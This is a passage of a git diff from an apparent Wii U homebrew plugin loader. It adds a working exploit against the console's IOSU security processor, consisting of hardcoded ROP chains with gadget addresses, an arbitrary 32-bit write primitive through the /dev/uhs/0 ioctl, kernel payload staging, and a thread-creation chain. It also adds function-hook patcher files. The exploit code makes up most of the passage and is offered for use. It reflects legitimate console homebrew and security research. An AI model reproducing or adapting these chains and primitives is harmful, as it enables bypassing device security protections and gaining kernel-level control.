0x101312D0, +}; + +static const int second_chain[] = { + 0x10123a9f, // 0x00 POP {R0,R1,R4,PC} + CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination + 0x0, // 0x08 + 0x0, // 0x0C + 0x101063db, // 0x10 POP {R1,R2,R5,PC} + 0x00130000, // 0x14 source + sizeof(final_chain), // 0x18 length + 0x0, // 0x1C + 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} + 0x0, // 0x24 + 0x0, // 0x28 + 0x101236f3, // 0x2C POP {R1-R7,PC} + 0x0, // 0x30 arg + 0x101001DC, // 0x34 stackptr + 0x68, // 0x38 stacksize + 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} + 0x0, // 0x40 + 0x0, // 0x44 + 0x0, // 0x48 + 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} + 0x0, // 0x50 + 0x0, // 0x54 + 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x5C + 0x0, // 0x60 + IOS_CREATETHREAD, // 0x64 + 0x1, // 0x68 priority + 0x2, // 0x6C flags + 0x0, // 0x70 + 0x0, // 0x74 + 0x101063db, // 0x78 POP {R1,R2,R5,PC} + 0x0, // 0x7C + -(0x240 + 0x18 + 0xF000), // 0x80 stack offset + 0x0, // 0x84 + 0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC} + 0x0, + 0x0, + 0x0, + 0x00110000 - 0x44, // 0x8C + 0x00110010, // 0x90 + 0x0, // 0x94 + 0x0, // 0x98 + 0x0, // 0x9C + 0x0, // 0xA0 + 0x0, // 0xA4 + 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack + 0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC} + 0x0, + 0x0, + 0x1012EA68, // 0xAC stack pivot +}; + +static void uhs_exploit_init(int dev_uhs_0_handle, cfw_config_t * config) +{ + ayylmao[5] = 1; + ayylmao[8] = 0x500000; + + memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain)); + memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain)); + memcpy((char*)(0xF4140000), ios_kernel_bin, sizeof(ios_kernel_bin)); + + payload_info_t *payloads = (payload_info_t*)0xF4148000; + + payloads->size = sizeof(cfw_config_t); + memcpy(payloads->data, config, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + + payloads->size = sizeof(ios_usb_bin); + memcpy(payloads->data, ios_usb_bin, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + + payloads->size = sizeof(ios_fs_bin); + memcpy(payloads->data, ios_fs_bin, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + + payloads->size = sizeof(ios_bsp_bin); + memcpy(payloads->data, ios_bsp_bin, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + + payloads->size = sizeof(ios_acp_bin); + memcpy(payloads->data, ios_acp_bin, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + + payloads->size = sizeof(ios_mcp_bin); + memcpy(payloads->data, ios_mcp_bin, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + + /*if(config->launchImage){ + FILE *pFile = fopen(APP_PATH "/launch_image.tga", "rb"); + if(pFile) + { + fseek(pFile, 0, SEEK_END); + payloads->size = ftell(pFile); + fseek(pFile, 0, SEEK_SET); + fread(payloads->data, 1, payloads->size, pFile); + fclose(pFile); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + } + else + { + payloads->size = launch_image_tga_size; + memcpy(payloads->data, launch_image_tga, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + } + }*/ + pretend_root_hub[33] = 0x500000; + pretend_root_hub[78] = 0; + + DCStoreRange(pretend_root_hub + 33, 200); + DCStoreRange((void*)0xF4120000, sizeof(second_chain)); + DCStoreRange((void*)0xF4130000, sizeof(final_chain)); + DCStoreRange((void*)0xF4140000, sizeof(ios_kernel_bin)); + DCStoreRange((void*)0xF4148000, ((u32)payloads) - 0xF4148000); +} + +static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val) +{ + ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes + DCStoreRange(ayylmao, 521 * 4); //! Make CPU fetch new data (with updated adress) + OSSleepTicks(0x200000); //! Improves stability + int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1 + int output_buffer[32]; + return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); +} + +int ExecuteIOSExploit(cfw_config_t * config){ + DEBUG_FUNCTION_LINE("Running ExecuteIOSExploit\n"); + int iosuhaxFd = IOS_Open("/dev/iosuhax", 0); + if(iosuhaxFd >= 0){ + int dummy = 0; + + IOS_Ioctl(iosuhaxFd, 0x03, &dummy, sizeof(dummy), &dummy, sizeof(dummy)); + + //! do not run patches again as that will most likely crash + //! because the wupserver and the iosuhax dev node are still running + //! just relaunch IOS with new configuration + IOS_Close(iosuhaxFd); + } + + //! execute exploit + int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); + if(dev_uhs_0_handle < 0){ + DEBUG_FUNCTION_LINE("Failed to open \"/dev/uhs/0\"\n"); + return dev_uhs_0_handle; + } + + uhs_exploit_init(dev_uhs_0_handle, config); + uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20); + uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C); + uhs_write32(dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE); + + uhs_write32(dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC} + + IOS_Close(dev_uhs_0_handle); + DEBUG_FUNCTION_LINE("Function end\n"); + return 0; +} + +void ExecuteIOSExploitWithDefaultConfig(){ + cfw_config_t config; + config.viewMode = 0; + config.directLaunch = 0; + config.launchImage = 0; + config.noIosReload = 1; + config.launchSysMenu = 0; + config.redNAND = 0; + config.seeprom_red = 0; + config.otp_red = 0; + config.syshaxXml = 0; + ExecuteIOSExploit(&config); +} diff --git a/loader/src/myutils/mocha.h b/loader/src/myutils/mocha.h new file mode 100644 index 0000000..a738507 --- /dev/null +++ b/loader/src/myutils/mocha.h @@ -0,0 +1,16 @@ +#ifndef __MOCHA_HOOK_H_ +#define __MOCHA_HOOK_H_ + +#include "../mocha/src/cfw_config.h" + +#ifdef __cplusplus +extern "C" { +#endif + +void ExecuteIOSExploitWithDefaultConfig(); + +#ifdef __cplusplus +} +#endif + +#endif // __MOCHA_HOOK_H_ diff --git a/loader/src/patcher/function_patcher.h b/loader/src/patcher/function_patcher.h index 6aaa762..613c051 100644 --- a/loader/src/patcher/function_patcher.h +++ b/loader/src/patcher/function_patcher.h @@ -16,8 +16,8 @@ * along with this program. If not, see . ****************************************************************************/ -#ifndef _FUNCTION_HOOKS_H_ -#define _FUNCTION_HOOKS_H_ +#ifndef _FUNCTION_PATCHER_HOOKS_H_ +#define _FUNCTION_PATCHER_HOOKS_H_ #ifdef __cplusplus extern "C" { @@ -88,12 +88,8 @@ u32 new_GetAddressOfFunction(const char * functionName,wups_loader_library_type_ s32 new_isDynamicFunction(u32 physicalAddress); void new_resetLibs(); -//Orignal code by Chadderz. -#define MAKE_MAGIC(x, lib,functionType) { (u32) my_ ## x, (u32) &real_ ## x, lib, # x,0,0,functionType,0} -#define MAKE_MAGIC_NAME(x,y, lib,functionType) { (u32) my_ ## x, (u32) &real_ ## x, lib, # y,0,0,functionType,0} - #ifdef __cplusplus } #endif -#endif /* _FS_H */ +#endif /* _FUNCTION_PATCHER_HOOKS_H_ */ diff --git a/loader/src/patcher/hooks_patcher.cpp b/loader/src/patcher/hooks_patcher.cpp new file mode 100644 index 0000000..d06c9c4 --- /dev/null +++ b/loader/src/patcher/hooks_patcher.cpp @@ -0,0 +1,34 @@ +#include +#include +#include "common/retain_vars.h" +#include "hooks_patcher.h" +#include "main.h" + +DECL(void, __PPCExit, void){ + DEBUG_FUNCTION_LINE("__PPCExit\n"); + + DeInit(); + + real___PPCExit(); +} + +DECL(u32, ProcUIProcessMessages, u32 u){ + u32 res = real_ProcUIProcessMessages(u); + if(res != gAppStatus){ + DEBUG_FUNCTION_LINE("App status changed from %d to %d \n",gAppStatus,res); + gAppStatus = res; + } + + return res; +} + +hooks_magic_t method_hooks_hooks[] __attribute__((section(".data"))) = { + MAKE_MAGIC(__PPCExit, LIB_CORE_INIT, STATIC_FUNCTION), + MAKE_MAGIC(ProcUIProcessMessages, LIB_PROC_UI, DYNAMIC_FUNCTION), +}; + +u32 method_hooks_size_hooks __attribute__((section(".data"))) = sizeof(method_hooks_hooks) / sizeof(hooks_magic_t); + +//! buffer to store our instructions needed for our replacements +volatile u32 method_calls_hooks[sizeof(method_hooks_hooks) / sizeof(hooks_magic_t) * FUNCTION_PATCHER_METHOD_STORE_SIZE] __attribute__((section(".data"))); + diff --git a/loader/src/patcher/hooks_patcher.h b/loader/src/patcher/hooks_patcher.h new file mode 100644 index 0000000..6153a65 --- /dev/null +++ b/loader/src/patcher/hooks_patcher.h @@ -0,0 +1,18 @@ +#ifndef _HOOKS_FUNCTION_PATCHER_H +#define _HOOKS_FUNCTION_PATCHER_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +extern hooks_magic_t method_hooks_hooks[]; +extern u32 method_hooks_size_hooks; +extern volatile u32 method_calls_hooks[]; + +#ifdef __cplusplus +} +#endif + +#endif /* _HOOKS_FUNCTION_PATCHER_H */